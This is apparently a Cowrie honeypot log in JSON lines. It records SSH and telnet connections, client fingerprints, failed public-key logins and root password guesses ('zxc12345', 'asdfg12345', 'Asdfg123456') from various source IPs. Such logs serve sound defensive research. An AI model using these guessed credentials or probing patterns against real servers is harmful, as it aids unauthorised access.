{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:f4:bb:b8:74:17:3c:08:23:e9:44:30:54:18:a8:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnv4ndJMLVAVi7cRrGXTYv9eLgZqFCoUmEOZBRpRfiEfZg0iqJ8vH+2V+gv2OPZ28PRxpTtRA3URD0/Tn4D7W8HeA3gdrX6KQnRxwtrK6ZZL8cQgjPNqjP0Ehz7WEC9PiZfVOuwt/38MIUkhCBoeDSYGAx+7Tj8RV+FaVYFDBT21xqL77G0Y3v3XGfh7LhWb7Sr1KYAhtXqK83tpyHYBDy37yYVFVWoe7XH8HpQVpHm2EfmVVd+LJgi131Yjn3u6O6k9HALgoRfrTe7vPgzWCSU8NHLM6M2cT1YboVtoutN+jSflJYY+4Gggo/CUEfjjh0krMaNbJ6c/YJioYIODj/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:f4:bb:b8:74:17:3c:08:23:e9:44:30:54:18:a8:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.421799Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:f4:bb:b8:74:17:3c:08:23:e9:44:30:54:18:a8:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnv4ndJMLVAVi7cRrGXTYv9eLgZqFCoUmEOZBRpRfiEfZg0iqJ8vH+2V+gv2OPZ28PRxpTtRA3URD0/Tn4D7W8HeA3gdrX6KQnRxwtrK6ZZL8cQgjPNqjP0Ehz7WEC9PiZfVOuwt/38MIUkhCBoeDSYGAx+7Tj8RV+FaVYFDBT21xqL77G0Y3v3XGfh7LhWb7Sr1KYAhtXqK83tpyHYBDy37yYVFVWoe7XH8HpQVpHm2EfmVVd+LJgi131Yjn3u6O6k9HALgoRfrTe7vPgzWCSU8NHLM6M2cT1YboVtoutN+jSflJYY+4Gggo/CUEfjjh0krMaNbJ6c/YJioYIODj/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.425854Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:18:22:95:35:9d:42:1a:5a:a1:ea:a6:9e:e8:e3:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVgmIyiklRIbWPfyh18+Wnnco5JpVOVVa/dQr5+vEufapxRAEi0ScAqG3sjTElwHgQIC6+aqUGi2xzlBCCc/Dr4DXoTl7eqmrwemPicgC2txiilnPmFjjpRt8/rDuHJvKHqImL6kW5Hk4YfcxhBzogrY9oLIy++LIAp0SU9W5nAAC4rVCmB9tTpPshRFhY8WAMXJTQCAHdVGV/5Eu2E91x6RZNO4r2BeevG05+Gih/g1MaCD/QSPkS0VMbNTVt1ye91glSqKPez/97akfjR1Bzjvz8A1F/xsJbxeMkmhfL5iPKXBYKGsfxRHRU2zFOWy1wLESmoSZ1uSdfvdKvU5UP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:18:22:95:35:9d:42:1a:5a:a1:ea:a6:9e:e8:e3:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.652447Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:18:22:95:35:9d:42:1a:5a:a1:ea:a6:9e:e8:e3:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVgmIyiklRIbWPfyh18+Wnnco5JpVOVVa/dQr5+vEufapxRAEi0ScAqG3sjTElwHgQIC6+aqUGi2xzlBCCc/Dr4DXoTl7eqmrwemPicgC2txiilnPmFjjpRt8/rDuHJvKHqImL6kW5Hk4YfcxhBzogrY9oLIy++LIAp0SU9W5nAAC4rVCmB9tTpPshRFhY8WAMXJTQCAHdVGV/5Eu2E91x6RZNO4r2BeevG05+Gih/g1MaCD/QSPkS0VMbNTVt1ye91glSqKPez/97akfjR1Bzjvz8A1F/xsJbxeMkmhfL5iPKXBYKGsfxRHRU2zFOWy1wLESmoSZ1uSdfvdKvU5UP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.656548Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:f1:61:72:a3:9b:0f:0f:2c:da:df:f6:ed:4c:4f:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs++EGWv85UMIpMS90plbNj6Q5/AQYfnSxxCuCmuK0bJjJ1dz3G+4bu7yl/mQrI+GS89ahzU5tgH585bHFKTgXn9dllJAXj6MLW426TRzkWffQngsXI6SJe7nDhBoMiJT3BYxFA2UwnXnTWNdN3PkVnCr6ChFYElzczbse9I4YLLQiLNJkkd+2d2olf0mq/09iZxbCXRIV0BsuaPkXPdhb2uMz7RgSVyWd6tV8pVN7Tmk039vvUoU9OUl2B/zloeLzb4RFZektR4E/CuTGgGYzCgB6nddWDTB1MTvfEu9+fwow3Y8aJozZ2Sy7toVy+8RznN5DUoHpa53+IAJRlfgX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:f1:61:72:a3:9b:0f:0f:2c:da:df:f6:ed:4c:4f:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.879623Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:f1:61:72:a3:9b:0f:0f:2c:da:df:f6:ed:4c:4f:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs++EGWv85UMIpMS90plbNj6Q5/AQYfnSxxCuCmuK0bJjJ1dz3G+4bu7yl/mQrI+GS89ahzU5tgH585bHFKTgXn9dllJAXj6MLW426TRzkWffQngsXI6SJe7nDhBoMiJT3BYxFA2UwnXnTWNdN3PkVnCr6ChFYElzczbse9I4YLLQiLNJkkd+2d2olf0mq/09iZxbCXRIV0BsuaPkXPdhb2uMz7RgSVyWd6tV8pVN7Tmk039vvUoU9OUl2B/zloeLzb4RFZektR4E/CuTGgGYzCgB6nddWDTB1MTvfEu9+fwow3Y8aJozZ2Sy7toVy+8RznN5DUoHpa53+IAJRlfgX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:41.883673Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:06:91:59:82:55:ea:f0:34:6a:3c:af:8a:f9:90:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+z5ishth6KkGs7N2xQXyIep7a28s/tQ97HpbMHPEzS5+lSeoBJwFGHDXvjIQ9uM9TtuBXKturTWS/+zoJazMKgSOWXdVS4LpRqEpdK6mr/Ic25H8SEDo4v4HLrn2JDifoiu6oLjGo4hjc+DLwMMy8NGWl9/SJOOrNOHKON+RvMx7ftRuigtJ/t+3J4aswazHlTXh4bQaBTjhk5EjlPTqyiWNqD/JponBPQOQFCu3TXP6t7vaYoBk4rcuKCYMp3grtXdUF/YyaMZn/p8G8naI/Agewmvqc6rdVvEsTDtscngs5jtEFEXdopGN+AbNp/7r5cepDQdVXrsLJuP4Bu7aitSSwulaN+byWutdZ7pgltiWEvrmwUcSpl16aTQW2PvxSa0+m3gqILSrqAI2Gy66TzK5j3YAvz+ETuVrmiUBYQq3Rupu0KZ5ejxLfIIINfn7tXveLdzH19lreDKl23T8TCe3e3xY1F9B/6Q2uffQCIWV+VLwCKnugg5S2dbkNMks=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:06:91:59:82:55:ea:f0:34:6a:3c:af:8a:f9:90:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:42.107003Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:06:91:59:82:55:ea:f0:34:6a:3c:af:8a:f9:90:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+z5ishth6KkGs7N2xQXyIep7a28s/tQ97HpbMHPEzS5+lSeoBJwFGHDXvjIQ9uM9TtuBXKturTWS/+zoJazMKgSOWXdVS4LpRqEpdK6mr/Ic25H8SEDo4v4HLrn2JDifoiu6oLjGo4hjc+DLwMMy8NGWl9/SJOOrNOHKON+RvMx7ftRuigtJ/t+3J4aswazHlTXh4bQaBTjhk5EjlPTqyiWNqD/JponBPQOQFCu3TXP6t7vaYoBk4rcuKCYMp3grtXdUF/YyaMZn/p8G8naI/Agewmvqc6rdVvEsTDtscngs5jtEFEXdopGN+AbNp/7r5cepDQdVXrsLJuP4Bu7aitSSwulaN+byWutdZ7pgltiWEvrmwUcSpl16aTQW2PvxSa0+m3gqILSrqAI2Gy66TzK5j3YAvz+ETuVrmiUBYQq3Rupu0KZ5ejxLfIIINfn7tXveLdzH19lreDKl23T8TCe3e3xY1F9B/6Q2uffQCIWV+VLwCKnugg5S2dbkNMks=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:42.111126Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:42.335308Z","src_ip":"103.112.62.144","session":"403329b9719d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56507,"dst_ip":"10.17.0.5","dst_port":22,"session":"3197b9c499bd","protocol":"ssh","message":"New connection: 167.172.81.52:56507 (10.17.0.5:22) [session: 3197b9c499bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:50.224007Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:50.228408Z","src_ip":"167.172.81.52","session":"3197b9c499bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:04:50.231851Z","src_ip":"167.172.81.52","session":"3197b9c499bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":12124,"dst_ip":"10.17.0.5","dst_port":22,"session":"2655768a868d","protocol":"ssh","message":"New connection: 38.93.206.2:12124 (10.17.0.5:22) [session: 2655768a868d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:23.613339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:23.621684Z","src_ip":"38.93.206.2","session":"2655768a868d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:23.672757Z","src_ip":"38.93.206.2","session":"2655768a868d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc12345","message":"login attempt [root/zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:23.826810Z","src_ip":"38.93.206.2","session":"2655768a868d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:24.881479Z","src_ip":"38.93.206.2","session":"2655768a868d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46644,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e73b2ebe402","protocol":"ssh","message":"New connection: 103.149.28.157:46644 (10.17.0.5:22) [session: 3e73b2ebe402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:31.027871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:31.031799Z","src_ip":"103.149.28.157","session":"3e73b2ebe402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:31.272888Z","src_ip":"103.149.28.157","session":"3e73b2ebe402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg12345","message":"login attempt [root/asdfg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:32.000039Z","src_ip":"103.149.28.157","session":"3e73b2ebe402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:05:33.245829Z","src_ip":"103.149.28.157","session":"3e73b2ebe402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43864,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea94751aa5c7","protocol":"telnet","message":"New connection: 152.42.224.71:43864 (10.17.0.5:23) [session: ea94751aa5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:04.297287Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.196","src_port":39499,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a0b0f457be","protocol":"ssh","message":"New connection: 91.231.89.196:39499 (159.203.135.109:22) [session: 46a0b0f457be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:10.240029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:10.736951Z","src_ip":"91.231.89.196","session":"46a0b0f457be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:10.936183Z","src_ip":"91.231.89.196","session":"46a0b0f457be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.196.152.37","src_port":60977,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f9b0fc3542a","protocol":"ssh","message":"New connection: 91.196.152.37:60977 (159.203.135.109:22) [session: 2f9b0fc3542a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:11.374833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:11.886773Z","src_ip":"91.196.152.37","session":"2f9b0fc3542a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:11.890682Z","src_ip":"91.196.152.37","session":"2f9b0fc3542a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.161.50.109","src_port":37227,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bcee0ccb3b8","protocol":"ssh","message":"New connection: 46.161.50.109:37227 (10.17.0.5:22) [session: 0bcee0ccb3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:11.896679Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:11.965055Z","src_ip":"91.231.89.196","session":"46a0b0f457be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:12.900522Z","src_ip":"91.196.152.37","session":"2f9b0fc3542a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.161.50.109","src_port":37229,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e3c83060a6","protocol":"ssh","message":"New connection: 46.161.50.109:37229 (10.17.0.5:22) [session: 62e3c83060a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:23.993446Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.161.50.109","src_port":37231,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b0b5ca9912","protocol":"ssh","message":"New connection: 46.161.50.109:37231 (10.17.0.5:22) [session: 59b0b5ca9912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:36.211664Z"}
{"eventid":"cowrie.session.closed","duration":43.80964708328247,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:06:48.106823Z","src_ip":"152.42.224.71","session":"ea94751aa5c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":59304,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f489f670524","protocol":"ssh","message":"New connection: 43.130.29.69:59304 (159.203.135.109:22) [session: 6f489f670524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:20.394894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:20.399326Z","src_ip":"43.130.29.69","session":"6f489f670524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:20.467957Z","src_ip":"43.130.29.69","session":"6f489f670524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg123456","message":"login attempt [root/Asdfg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:20.773003Z","src_ip":"43.130.29.69","session":"6f489f670524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:21.844737Z","src_ip":"43.130.29.69","session":"6f489f670524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":40810,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6cb9d0515ab","protocol":"telnet","message":"New connection: 213.108.3.46:40810 (159.203.135.109:23) [session: d6cb9d0515ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:07:33.538875Z"}
